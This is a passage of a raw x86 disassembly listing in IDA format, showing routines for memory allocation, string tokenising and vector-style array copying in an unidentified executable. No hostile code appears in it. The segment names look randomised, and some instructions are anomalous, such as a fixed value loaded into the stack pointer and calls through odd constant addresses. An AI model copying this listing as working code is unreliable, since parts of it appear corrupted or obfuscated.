jnz short loc_409D0F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_409D0F: ; CODE XREF: sub_409CE0+27j mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov esp, 645A5Ah sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_409CE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D50 proc near ; CODE XREF: sub_401B40j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_409D63 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409D63: ; CODE XREF: sub_409D50+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_409D76 push eax call sub_430332 add esp, 4 loc_409D76: ; CODE XREF: sub_409D50+1Bj push ebx lea ebx, [edi+1] push ebx call sub_43034A mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 sub_409D50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DD0 proc near ; CODE XREF: sub_401384j mov eax, [ecx+11h] retn sub_409DD0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DF0 proc near ; CODE XREF: sub_40127Bj var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push 3A2D2Dh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_409E42 mov esi, [esp+34h+arg_0] push 1D1696h mov ecx, esi call sub_4017A8 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_409E42: ; CODE XREF: sub_409DF0+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_4013CF mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_43034A mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+3Ch+arg_4] and ecx, 3 push ebx rep stosb mov eax, [esp+40h+var_2C] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+40h+var_24] call sub_401564 push ebx call sub_430332 mov esi, [esp+40h+arg_0] add esp, 4 lea eax, [esp+3Ch+var_24] mov ecx, esi push eax call sub_40146F lea ecx, [esp+3Ch+var_24] call sub_4011F9 mov ecx, [esp+3Ch+var_C] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch sub_409DF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F20 proc near ; CODE XREF: sub_401CF8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_401384 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_40127B mov eax, edi pop edi pop esi pop ecx retn 8 sub_409F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409F60: ; CODE XREF: _294ADE7B:00401866j push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401F73 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_4011C2j var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push 0E8B4Bh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_409FD1 mov esi, [esp+44h+arg_0] push 745A5h mov ecx, esi call sub_4017A8 jmp loc_40A104 ; --------------------------------------------------------------------------- loc_409FD1: ; CODE XREF: sub_409F90+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401604 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_4017A8 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_401479 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A0B5 push ebx loc_40A011: ; CODE XREF: sub_409F90+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A020 loc_40A017: ; CODE XREF: sub_409F90+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A017 loc_40A020: ; CODE XREF: sub_409F90+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A02F inc eax mov [esp+48h+var_3C], eax loc_40A02F: ; CODE XREF: sub_409F90+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_4018B1 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A07F test cl, cl jz short loc_40A067 loc_40A04B: ; CODE XREF: sub_409F90+D5j cmp cl, 22h jnz short loc_40A05C mov cl, [eax+1] cmp cl, 20h jz short loc_40A067 test cl, cl jz short loc_40A067 loc_40A05C: ; CODE XREF: sub_409F90+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A04B loc_40A067: ; CODE XREF: sub_409F90+B9j ; sub_409F90+C6j ... cmp byte ptr [eax], 0 jz short loc_40A0AA mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A0AA add eax, 2 jmp short loc_40A0A6 ; --------------------------------------------------------------------------- loc_40A07F: ; CODE XREF: sub_409F90+B5j test cl, cl jz short loc_40A094 mov dl, [edi] loc_40A085: ; CODE XREF: sub_409F90+102j cmp cl, dl jz short loc_40A094 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A085 loc_40A094: ; CODE XREF: sub_409F90+F1j ; sub_409F90+F7j mov cl, [eax] test cl, cl jz short loc_40A0AA cmp cl, [edi] jnz short loc_40A0AA mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A0A6: ; CODE XREF: sub_409F90+EDj mov [esp+48h+var_3C], eax loc_40A0AA: ; CODE XREF: sub_409F90+DAj ; sub_409F90+E8j ... mov cl, [eax] test cl, cl jnz loc_40A011 pop ebx loc_40A0B5: ; CODE XREF: sub_409F90+7Aj lea ecx, [esp+44h+var_34] call sub_4011D1 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A0CD push 3A2D2h jmp short loc_40A0DA ; --------------------------------------------------------------------------- loc_40A0CD: ; CODE XREF: sub_409F90+134j push ecx lea ecx, [esp+48h+var_34] call sub_401E1A mov eax, [eax] push eax loc_40A0DA: ; CODE XREF: sub_409F90+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_4017A8 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_4011F9 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40151E loc_40A104: ; CODE XREF: sub_409F90+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_409F90 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A190 proc near ; CODE XREF: sub_401622j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011C2 mov eax, esi pop esi pop ecx retn 0Ch sub_40A190 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1D0 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401339 push eax mov ecx, esi call sub_401564 pop esi retn 4 sub_40A1D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A200 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401564 retn 4 sub_40A200 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A220 proc near ; CODE XREF: sub_40141Aj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A220 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A240: ; CODE XREF: _294ADE7B:00401447j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A260 proc near ; CODE XREF: sub_401339j mov eax, [ecx+9] retn sub_40A260 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A280 proc near ; CODE XREF: sub_401726j mov eax, [ecx+9] retn sub_40A280 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2A0 proc near ; CODE XREF: sub_401479j mov eax, [ecx+9] retn sub_40A2A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2C0 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A2C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2F0 proc near ; CODE XREF: sub_40151Ej push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4018CA mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011C7 xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn sub_40A2F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A340 proc near ; CODE XREF: sub_4011D1j mov edx, [ecx+4] test edx, edx jnz short loc_40A34A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A34A: ; CODE XREF: sub_40A340+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A340 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A370 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011D1 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A388 mov ecx, esi call sub_401DAC loc_40A388: ; CODE XREF: sub_40A370+Fj mov ecx, esi call sub_401BF9 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A370 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3B0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4015CD push eax mov ecx, esi call sub_40165E pop esi retn 4 sub_40A3B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3E0 proc near ; CODE XREF: sub_401BF9j mov eax, [ecx+4] retn sub_40A3E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A400 proc near ; CODE XREF: sub_4015CDj mov eax, [ecx+8] retn sub_40A400 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A420 proc near ; CODE XREF: sub_40165Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401BF9 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_40137A mov ecx, edi call sub_401BF9 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A420 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A470 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A490 loc_40A481: ; CODE XREF: sub_40A470+1Ej push esi mov ecx, edi call sub_4017E4 add esi, 4 cmp esi, ebx jnz short loc_40A481 loc_40A490: ; CODE XREF: sub_40A470+Fj pop edi pop esi pop ebx retn 8 sub_40A470 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4B0: ; CODE XREF: sub_401DACj push 0FFFFFFFFh push 1D169h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset loc_40E8B4 call dword ptr ds:20745Ah lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] call dword ptr ds:503A2Dh lea edx, [esp+14h] push 681D16h push edx call sub_430382 nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A530 proc near ; CODE XREF: sub_4011C7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_40A530 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A550 proc near ; CODE XREF: sub_40137Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40A61B mov ecx, esi call sub_4011D1 cmp edi, eax jnb short loc_40A583 mov ecx, esi call sub_4011D1 mov ebp, eax jmp short loc_40A585 ; --------------------------------------------------------------------------- loc_40A583: ; CODE XREF: sub_40A550+26j mov ebp, edi loc_40A585: ; CODE XREF: sub_40A550+31j mov ecx, esi call sub_4011D1 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CA3 mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010B9 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401FE6 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010B9 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4018CA mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011C7 lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011D1 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40A61B: ; CODE XREF: sub_40A550+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40A679 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010B9 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401FE6 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401D34 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40A679: ; CODE XREF: sub_40A550+D8j test edi, edi jbe short loc_40A6B3 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010B9 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401F37 mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401D34 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40A6B3: ; CODE XREF: sub_40A550+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A550 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40A720 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4010B9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40A772 push edi mov edi, [esp+10h+arg_8] loc_40A756: ; CODE XREF: sub_40A740+27j push esi push edi mov ecx, ebx call sub_401F96 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40A756 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40A772: ; CODE XREF: sub_40A740+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40A740 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A790 proc near ; CODE XREF: sub_401FE6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40A7B7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40A7A6: ; CODE XREF: sub_40A790+23j push ebx push esi mov ecx, ebp call sub_401F96 add esi, 4 dec edi jnz short loc_40A7A6 pop esi pop ebx loc_40A7B7: ; CODE XREF: sub_40A790+Aj pop edi pop ebp retn 0Ch sub_40A790 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7D0 proc near ; CODE XREF: sub_401CA3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401474 add esp, 8 retn 8 sub_40A7D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401CBC add esp, 8 retn 8 sub_40A800 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A830 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40A84D mov edx, [esp+arg_8] push esi loc_40A841: ; CODE XREF: sub_40A830+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40A841 pop esi locret_40A84D: ; CODE XREF: sub_40A830+Aj retn sub_40A830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A860 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40A882 mov eax, [esp+arg_8] push esi loc_40A871: ; CODE XREF: sub_40A860+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40A871 pop esi retn ; --------------------------------------------------------------------------- loc_40A882: ; CODE XREF: sub_40A860+Aj mov eax, [esp+arg_8] retn sub_40A860 endp ; --------------------------------------------------------------------------- db 9 dup(90h) byte_40A890 db 10h dup(0CCh) ; DATA XREF: _5AD6BD6B:0043D56Co ; _5AD6BD6B:0043D5B0o ... ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40A8CA xor eax, eax loc_40A8CA: ; CODE XREF: sub_40A8C0+6j shl eax, 2 push eax call sub_43034A add esp, 4 retn sub_40A8C0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_40A90B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40A90B: ; CODE XREF: sub_40A8F0+11j retn sub_40A8F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A920 proc near ; CODE XREF: sub_401D2Fj mov eax, ecx mov dword ptr [eax], offset off_437014 retn sub_40A920 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A940: ; CODE XREF: _294ADE7B:0040167Cj ; _294ADE7B:loc_401EC4j push esi mov esi, ecx call sub_401EC9 test byte ptr [esp+8], 1 jz short loc_40A958 push esi call sub_430332 add esp, 4 loc_40A958: ; CODE XREF: _294ADE7B:0040A94Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A970 proc near ; CODE XREF: sub_401EC9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push 740E8Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_437014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_4016A4 mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40A970 endp ; =============== S U B R O U T I N E ======================================= sub_40A9B2 proc near ; DATA XREF: _8C6BDE73:004380CCo mov ecx, 740E8h retn sub_40A9B2 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9E0 proc near ; CODE XREF: sub_401460j call sub_401672 jmp sub_4016F9 sub_40A9E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AA00 proc near ; CODE XREF: sub_401A2Dj call sub_4015A0 jmp sub_401708 sub_40AA00 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AA20 proc near ; CODE XREF: sub_40137Fj push esi mov esi, ecx push esi push 0BA074h lea eax, [esi+0Ch] push 0 push eax call sub_40120D add esp, 10h test eax, eax jnz short loc_40AA42 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AA42: ; CODE XREF: sub_40AA20+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AA20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA60: ; CODE XREF: _294ADE7B:0040119Aj push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AA87 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_4016B8 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AA87: ; CODE XREF: _294ADE7B:0040AA69j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAA0 proc near ; CODE XREF: sub_4016A4j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AABC mov eax, [esi+0Ch] push 0Fh push eax call sub_4016B3 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AABC: ; CODE XREF: sub_40AAA0+8j pop esi retn sub_40AAA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AAD0: ; CODE XREF: _294ADE7B:004011CCj mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AAF0: ; CODE XREF: _294ADE7B:004013CAj push ebp mov ebp, esp push 0FFFFFFFFh push offset word_45D03A mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+8] push ebx push esi push edi mov eax, [ecx] mov [ebp-10h], esp mov dword ptr [ebp-4], 0 call dword ptr [eax+4] mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_40AB31: ; DATA XREF: _8C6BDE73:0043812Co mov edi, 0AC5D03h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AB60 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40ABA2 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_402004 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_40104B add esp, 18h loc_40ABA2: ; CODE XREF: sub_40AB60+Bj pop esi add esp, 8 retn sub_40AB60 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABD0 proc near ; CODE XREF: sub_401C9Ej var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40ABF2 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_40104B add esp, 0Ch loc_40ABF2: ; CODE XREF: sub_40ABD0+6j pop ecx retn sub_40ABD0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC10 proc near ; CODE XREF: sub_401915j var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 562E81h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_4016A9 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_4016A9 lea edi, [esi+8Eh] lea eax, [esp+0Bh] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401AF0 mov ecx, edi mov byte ptr [esp+1Ch+var_4], 3 mov dword ptr [esi], 